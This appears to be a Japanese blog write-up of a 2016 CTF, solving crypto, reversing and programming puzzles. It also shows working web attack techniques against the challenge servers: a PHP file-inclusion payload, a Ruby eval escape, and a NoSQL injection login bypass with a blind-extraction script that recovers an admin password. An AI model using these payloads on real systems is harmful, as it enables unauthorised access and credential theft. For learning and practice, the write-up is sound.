2016-09-05

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました。問題は全然解けませんでしたが、楽しかったです。そういえば CTF をやるのも久々な気がしますね。

Writeup

Welcome!! (Misc, Warmup, 10 pt.)

フラグ提出確認用の問題ですが、それでも点が得られるのは嬉しいですね。

フラグ: TWCTF{Welcome_To_TW_MMACTF!!}

Global Page (Web, Warmup, 50 pt.)

ウェブ問題です。 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf などにアクセスできるシステムです。

さて、パラメータを page=hoge などと変更すると、こんな感じでエラーが表示されます。

Warning: include(hoge/en.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

パラメータ page とリクエスト時のヘッダ Accept-Language の値でパスを生成して、動的に include していることがわかります。 php:// が使えるようなので、 php://filter/read=convert.base64-encode/resource=flag.php を include させてデコードすると、フラグが得られます。

<?php
$flag = "TWCTF{I_found_simple_LFI}";

Make a Palindrome! (PPC, Warmup, 20 pt. + 30 pt.)

インタラクティブに応答するタイプの問題です。最大10単語のリストが与えられるので、並び替えて回文を作って答えます。

愚直に全並び替えを試せば大丈夫です。

#!/usr/bin/env python3

import itertools
import re
import telnetlib

def read(tn, s):
    idx, m, d = tn.expect([re.compile(s.encode())])
    print(d.decode(), end='')
    return m.group().decode()

def write(tn, s):
    s += '\n'
    tn.write(s.encode())
    print(s, end='')

def main():
    tn = telnetlib.Telnet('ppc1.chal.ctf.westerns.tokyo', port=31111)
    while True:
        read(tn, 'Case: #\\d+\nInput: \\d+ ')
        words = read(tn, '.*\n').split()
        for seq in itertools.permutations(words):
            t = ''.join(seq)
            if t == t[::-1]:
                write(tn, ' '.join(seq))
                break

if __name__ == '__main__':
    main()

Judge: Correct! TWCTF{Charisma_School_Captain}
Judge: Correct! TWCTF{Hiyokko_Tsuppari}

Twin Primes (Crypto, Warmup, 50 pt.)

2組の双子素数 $(p, p + 2)$ , $(q, q + 2)$ をランダムに選び、 RSA 暗号の鍵として $(p, q)$ と $(p + 2, q + 2)$ で二重に暗号化したものが問題です。問題としては、暗号文と2組の公開鍵 $(n_1, e_1)$ , $(n_2, e_2)$ が与えられます。

$n_1 = pq$ , $n_2 = (p + 2)(q + 2)$ なので、 $p + q = (n_2 - n_1 - 4) / 2$ と求めることができます。したがって、与えられた情報だけで復号に必要な $(p - 1)(q - 1)$ , $(p + 1)(q + 1)$ を求めることができます。

これより TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Reverse Box (Reverse, Warmup, 50 pt.)

文字列を引数に与えると、16進数を出力する実行ファイルが与えられます。また、このプログラムにフラグを入力すると 95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a を出力する、ということが与えられています。つまり、このバイナリを解析して、フラグの文字列を求める問題です。

バイナリの読解力があまりに低く、バイナリを読んで分かった情報は次の通りでした。

rand を呼んでいる。
srand を呼んでいる。
time を呼んでいる。

実際に動かしてみると、次のことが分かりました。

与える文字列の2倍の桁の16進数が出力される。
与える文字列が同一であっても、実行する時刻によって出力する値が異なる。
入力文字列に同一文字があったとき、出力の16進数でも対応する位置の値が同一である。例えば、 AABBA を与えると cbcb6464cb になる。

以上のことから、起動時に文字を16進数に変換するテーブルをランダムに生成し、テーブルを使って文字列を16進数に変換するプログラムであると推測できます。今回の CTF のフラグの形式 TWCTF{} は T が2文字含まれていますが、フラグの16進数の T に当たる部分がどちらも 95 になっていることが、このことを裏付けています。そこで、印字可能な文字の列をこのプログラムに投げ続けて、T が 95 になるような16進数を得ます。この情報から変換テーブルを作り、フラグの16進数を逆変換します。

TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

Super Express (Crypto, 100 pt.)

暗号文と暗号化に用いられたプログラムが与えられます。

暗号アルゴリズムは平文の各文字 $c$ に対して $c \leftarrow (a_i c + b_i) \bmod 251$ のように $i = 0, \ldots, n - 1$ に対して更新していきます。ここで $a_i$ , $b_i$ は鍵情報です。

$c \leftarrow (a_i c + b_i) \bmod 251$ の変換は線型写像であり、何度変換しても線型性が保たれます。したがって、一度だけ $c \leftarrow (A c + B) \bmod 251$ と変換しているのと変わりありません。また、暗号文の $i$ 文字目と平文の $i$ 文字目は対応しているので、暗号文の最初の6文字は TWCTF{ です。このことを用いて、 $(A, B)$ を求めると、 $(156, 76)$ であることがわかります。これを用いて、復号して TWCTF{Faster_Than_Shinkansen!} を得ます。

rps-ng (PPC, 130 pt.)

インタラクティブに応答するタイプの問題です。じゃんけんを50回して、40回以上勝てばフラグが得られます。

サーバ側のじゃんけんアルゴリズムは、次のような感じです。

{グー, チー, パー} を出した直後に {グー, チー, パー} を出した回数を記録する $3 \times 3$ のテーブルを作る。
最初の勝負の前に、それぞれの値を $0$ から $5$ までのランダムな値で初期化する。
参加者が前に出した手とテーブルを元に、最も出しやすい手を予測し、その手に勝つような手を選択する。
実際に参加者が出した手の出し方をテーブルに記録する。

つまり、サーバ側はランダムな状態から始まりますが、その後の挙動は決定的です。したがって、最初のランダムな状態を予測できれば、勝てること間違いなしです。さて、最初のランダムな状態というのは実は $6^{3 \times 3} = 10,077,696$ 通りなので、全状態をシミュレートしても何とかなりそうです。毎回の勝負のときには、全状態で最も勝てる手を出していきます。勝負が進むにつれ、サーバ側の実際の手の出し方と、シミュレートしているテーブルの状態で矛盾が生じることがあります。その時点で、そのテーブルではないことが明らかになるので、状態候補からは外していきます。

ということをしたら40勝できました。

#!/usr/bin/env python3

import itertools
import re
import telnetlib

class Client(object):
    def __init__(self, host, port):
        self._tn = telnetlib.Telnet(host, port)

    def _read(self, b):
        idx, m, b = self._tn.expect([re.compile(b)])
        print(b.decode(), end='')
        return m

    def play(self, c):
        self._read(b'\\[RPS\\]')
        x = 'RPS'[c]
        self._tn.write((x + '\n').encode())
        print(x)
        m = self._read(b'(Draw|lose|win!!)\n')
        if m.group(1) == b'Draw':
            return c
        if m.group(1) == b'lose':
            return (c + 1) % 3
        return (c + 2) % 3

def choice(tables, last):
    a = [0, 0, 0]
    for t in tables:
        r = min((-t[3*last], 0), (-t[3*last+1], 1), (-t[3*last+2], 2))[1]
        a[(r+2)%3] += 1
    return max([0, 1, 2], key=lambda x: a[x])

def next_tables(tables, last, p):
    tables2 = list()
    for t in tables:
        r = min((-t[3*last], 0), (-t[3*last+1], 1), (-t[3*last+2], 2))[1]
        if (r + 1) % 3 == p:
            tables2.append(t)
    return tables2

def main():
    tables = list()
    for t in itertools.product(range(6), repeat=9):
        tables.append(list(t))
    cl = Client('ppc1.chal.ctf.westerns.tokyo', 15376)
    last = 0
    while True:
        c = choice(tables, last)
        p = cl.play(c)
        tables = next_tables(tables, last, p)
        for t in tables:
            t[3*last+c] += 1
        last = c

if __name__ == '__main__':
    main()

Congrats!!!!
TWCTF{The_hand_is_determined_by_mien}

Private / Local / Comment (PPC, 50 pt. + 70 pt. + 100 pt.)

Ruby のコードが3個与えられます。各コードの最後には入力を受け付け、それを eval するようになっています。

Private の主要部分は次のようになっています。

class Private
  private
  public_methods.each do |method|
    eval "def #{method.to_s};end"
  end

  def flag
    return "TWCTF{CENSORED}"
  end
end

p = Private.new
Private = nil

特異メソッドを使って flag を呼び出せばフラグが得られます。

def p.t;flag;end;p.t
TWCTF{PrivatePreview}

Local / Comment については解けませんでした…。 Python と Ruby の違いなんてブロックの終わりに end が付くかくらいだから、ノリで書けるだろうと思っていたところがありましたが、この問題に触れることによって少しも Ruby のことを分かっていなかったことを痛感させられました。

Light Out! (PPC, 100 pt. + 300 pt.)

各マスが白または黒である $N \times N$ の盤面が与えられます。 $N = 20$ は 100 pt. で、 $N = 768$ は 300 pt. です。マス $(x, y)$ を押すと、 $(x, y - 2)$ , $(x + 1, y - 1)$ , $(x + 2, y)$ , $(x + 1, y + 1)$ , $(x, y + 2)$ , $(x - 1, y + 1)$ , $(x - 2, y)$ , $(x - 1, y - 1)$ の白黒が反転します。うまく押して、全てのマスが白くなるようにして、その押し方を送るとフラグが得られます。

各マスを押すべきかを変数で表すと、 $N \times N$ 変数間の関係式が $N \times N$ 個作れます。さらに言うと、これらは XOR で結合した式になるので、ガウス-ジョルダン消去法により、変数の値を明らかにすることができます。普通に計算すると、時間計算量 $\mathcal{O}(N^{6})$ と空間計算量 $\mathcal{O}(N^{4})$ で絶望的ですが、係数行列はいい感じに疎なので、その特徴を使うと、時間計算量を $\mathcal{O}(N^{4})$ (1時間弱) に、空間計算量を $\mathcal{O}(N^{3})$ (3 GB 弱) にできます。

#include <algorithm>
#include <cstdint>
#include <iostream>
#include <string>
#include <utility>
#include <vector>

class Matrix {
  public:
    void resize(int n) {
      n_ = n;
      a_.resize(n * n, std::vector<std::uint8_t>(6 * n + 1, 0));
      b_.resize(n * n, 0);
    }
    std::uint8_t &operator()(int i, int j) {
      return a_[i][j - i + 2 * n_];
    }
    std::uint8_t &operator()(int i) {
      return b_[i];
    }
    void display() {
      int q = std::max(1, n_ * n_ / 30);
      int s = (n_ * n_ + q - 1) / q;
      std::vector<std::string> lines(s, std::string(s, '-'));
      for (int y = 0; y < n_ * n_; ++y) {
        for (int x = y - 2 * n_; x <= y + 4 * n_; ++x) {
          if ((*this)(y, x)) {
            lines[y / q][x / q] = '*';
          }
        }
      }
      for (const auto &line : lines) {
        std::cerr << line << std::endl;
      }
      std::cerr << std::endl;
    }
  private:
    int n_;
    std::vector<std::vector<std::uint8_t>> a_;
    std::vector<std::uint8_t> b_;
};

int main() {
  int dx[8] = {0, 1, 2, 1, 0, -1, -2, -1};
  int dy[8] = {-2, -1, 0, 1, 2, 1, 0, -1};
  int n;
  std::string s;
  Matrix a;
  std::cin >> n >> s;
  a.resize(n);
  for (int i = 0; i < n * n; ++i) {
    a(i) = (s[i] == '1');
  }
  for (int z = 0; z < n * n; ++z) {
    for (int i = 0; i < 8; ++i) {
      int nx = z % n + dx[i];
      int ny = z / n + dy[i];
      if (0 <= std::min(nx, ny) and std::max(nx, ny) < n) {
        a(nx + n * ny, z) = true;
      }
    }
  }
  for (int i = 0; i < n * n; ++i) {
    int pivot = i;
    for (int j = i; j < std::min(n * n, i + 2 * n + 1); ++j) {
      if (a(j, i)) {
        pivot = j;
        break;
      }
    }
    if (not a(pivot, i)) {
      for (int j = i; j < n * n; ++j) {
        for (int k = j - 2 * n; k <= j + 4 * n; ++k) {
          a(i, k) = (i == k);
        }
        a(i) = false;
      }
      break;
    }
    for (int j = i; j <= pivot + 2 * n; ++j) {
      std::swap(a(i, j), a(pivot, j));
    }
    std::swap(a(i), a(pivot));
    if (int(100 * (i - 1) / (n * n)) != int(100 * i / (n * n))) {
      std::cerr << "@ " << int(100 * i / (n * n)) << " %" << std::endl;
      a.display();
    }
    for (int j = i + 1; j < std::min(n * n, i + 2 * n + 1); ++j) {
      if (a(j, i)) {
        for (int k = i; k <= i + 4 * n; ++k) {
          a(j, k) = a(j, k) ^ a(i, k);
        }
        a(j) = a(i) ^ a(j);
      }
    }
  }
  for (int i = n * n - 1; i >= 0; --i) {
    for (int j = i - 1; j >= std::max(0, i - 4 * n); --j) {
      if (a(j, i)) {
        a(j) = a(i) ^ a(j);
        a(j, i) = false;
      }
    }
  }
  std::cerr << "finished" << std::endl;
  a.display();
  for (int i = 0; i < n * n; ++i) {
    std::cout << int(a(i));
  }
  std::cout << std::endl;
  return 0;
}

{"result":"Correct","message":"Good! The flag is TWCTF{peaceful_tea_party}"}
{"result":"Correct","message":"Wonderful! The flag is TWCTF{happy_ra1ny_step}"}

Get the admin password! (Web, 100 pt.)

ログインフォームが与えられるので、 admin としてログインする問題です。

ずっと SQL かメンバーリストが書かれたテキストファイルのどちらかだと思っていたのですが、正解は NoSQL でした。 MongoDB のクエリを想像しながら user=admin&password[$ne]=foobar のようにするとログインできます。ログインすると、 The flag is admin password. Admin password format is "TWCTF{...}". とのことなので、パスワードを求める必要があります。 $lt 演算子を使ってブラインドインジェクションすればフラグが得られます。

#!/usr/bin/env python3

import string
import urllib.request
import urllib.parse

def judge(password):
    url = 'http://gap.chal.ctf.westerns.tokyo/login.php'
    password = urllib.parse.quote(password.encode())
    data = 'user=admin&password[$lt]={}'.format(password).encode()
    with urllib.request.urlopen(url, data) as f:
        return 'Wrong' not in f.read().decode()

def main():
    password = ''
    chars = sorted(string.printable)
    while not judge(password):
        a, b = 0, len(chars)
        while b - a > 1:
            c = (a + b) // 2
            a, b = (a, c) if judge(password + chars[c]) else (c, b)
        password += chars[a]
        print(password)

if __name__ == '__main__':
    main()

TWCTF{wasshoi!summer_festival!}

glance (Misc, 50 pt.)

細長い GIF アニメーションが与えられます。 ImageMagick でバラして繋げば涼し気な画像になります。

convert +adjoin glance.gif piece-%03d.gif
convert +append piece-*.gif output.gif

Windows XP で使われていた草原のデスクトップ壁紙の上に TWCTF{Bliss by Charles} と書かれている画像。